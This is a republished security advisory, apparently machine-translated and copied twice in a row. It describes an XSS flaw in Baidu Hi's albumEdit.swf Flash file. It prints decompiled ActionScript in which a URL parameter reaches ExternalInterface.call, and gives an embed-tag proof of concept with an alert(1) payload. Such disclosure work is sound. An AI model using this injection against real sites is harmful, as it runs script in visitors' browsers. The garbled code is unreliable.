Hi. baidu albumEdit.swf Xss Bug

Source: Internet
Author: User

Summary

Same principle as Vulnerability.
Bytes. After decompiling albumedit.swf, The as script has a vulnerability that can cause xss.

2. Analysis

Some code analysis in http://hi.baidu.com/static/album/albumEdit.swf

Package baidu. albumFilm. modules
{
Public class Constants extends Object
{
......
Public function AlbumEdit ()
{
Super ();
This. config ();
This. readParams (); // call the readParams () function to check the parameters of the input Flash file.
AddEventListener (Event. ENTER_FRAME, this. checkFlashReady); // registers the Event. ENTER_FRAME Event. The Event processing function is checkFlashReady ()
This. checkFlashReady ();
Return;

}
......
Private function onMapFileOver (arg0: baidu. albumFilm. modules. events: AlbumEvent)
{
RemoveEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver );
......
This. addCallBackToJs (); // call addCallBackToJs (). The XSS code is executed here.
Return;

}
......
Private function checkFlashReady (arg0: flash. events: Event = null)
{
Var loc0: * = stage. stageWidth;
If (loc0> 0)
{
RemoveEventListener (Event. ENTER_FRAME, this. checkFlashReady );
......
AddEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver); // registers the DMEdit. MAP_FILE_OVER event. The event processing function is onMapFileOver ()
RequestEffectMapList ();
This. showLoading ();
}
Return;

}
......
Private function readParams ()
{
Var loc0: * = loaderInfo. parameters; // obtain the parameters in the input Flash file.
If (loc0.hasOwnProperty ("flashReady") // check whether the flashReady parameter exists
{
Constants. FuncFlashReady = loc0 ["flashReady"]; // assign the flashReady parameter to Constants. FuncFlashReady
}
......
Return;

}
......
Private function addCallBackToJs ()
{
ExternalInterface. addCallback ("setAlbumInfo", this. setAlbumInfo );
......
ExternalInterface. addCallback ("musicPause", this. musicPause );
If (Constants. FuncFlashReady)
{
ExternalInterface. call (Constants. FuncFlashReady, ExternalInterface. objectID); // execute JS Code that uses Constants. FuncFlashReady as the function
}
Return;
}
}
}

Although hi.baidu.com is not on the video whitelist, insert <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/> post, resulting in XSS.
3. Exploitation

POC: <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/>

Four patches [fix]

Wait for official patch

Note: overview

Same principle as Vulnerability.
Bytes. After decompiling albumedit.swf, The as script has a vulnerability that can cause xss.

2. Analysis

Some code analysis in http://hi.baidu.com/static/album/albumEdit.swf

Package baidu. albumFilm. modules
{
Public class Constants extends Object
{
......
Public function AlbumEdit ()
{
Super ();
This. config ();
This. readParams (); // call the readParams () function to check the parameters of the input Flash file.
AddEventListener (Event. ENTER_FRAME, this. checkFlashReady); // registers the Event. ENTER_FRAME Event. The Event processing function is checkFlashReady ()
This. checkFlashReady ();
Return;

}
......
Private function onMapFileOver (arg0: baidu. albumFilm. modules. events: AlbumEvent)
{
RemoveEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver );
......
This. addCallBackToJs (); // call addCallBackToJs (). The XSS code is executed here.
Return;

}
......
Private function checkFlashReady (arg0: flash. events: Event = null)
{
Var loc0: * = stage. stageWidth;
If (loc0> 0)
{
RemoveEventListener (Event. ENTER_FRAME, this. checkFlashReady );
......
AddEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver); // registers the DMEdit. MAP_FILE_OVER event. The event processing function is onMapFileOver ()
RequestEffectMapList ();
This. showLoading ();
}
Return;

}
......
Private function readParams ()
{
Var loc0: * = loaderInfo. parameters; // obtain the parameters in the input Flash file.
If (loc0.hasOwnProperty ("flashReady") // check whether the flashReady parameter exists
{
Constants. FuncFlashReady = loc0 ["flashReady"]; // assign the flashReady parameter to Constants. FuncFlashReady
}
......
Return;

}
......
Private function addCallBackToJs ()
{
ExternalInterface. addCallback ("setAlbumInfo", this. setAlbumInfo );
......
ExternalInterface. addCallback ("musicPause", this. musicPause );
If (Constants. FuncFlashReady)
{
ExternalInterface. call (Constants. FuncFlashReady, ExternalInterface. objectID); // execute JS Code that uses Constants. FuncFlashReady as the function
}
Return;
}
}
}

Although hi.baidu.com is not on the video whitelist, insert <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/> post, resulting in XSS.
3. Exploitation

POC: <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/>

Four patches [fix]

Wait for official patch

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.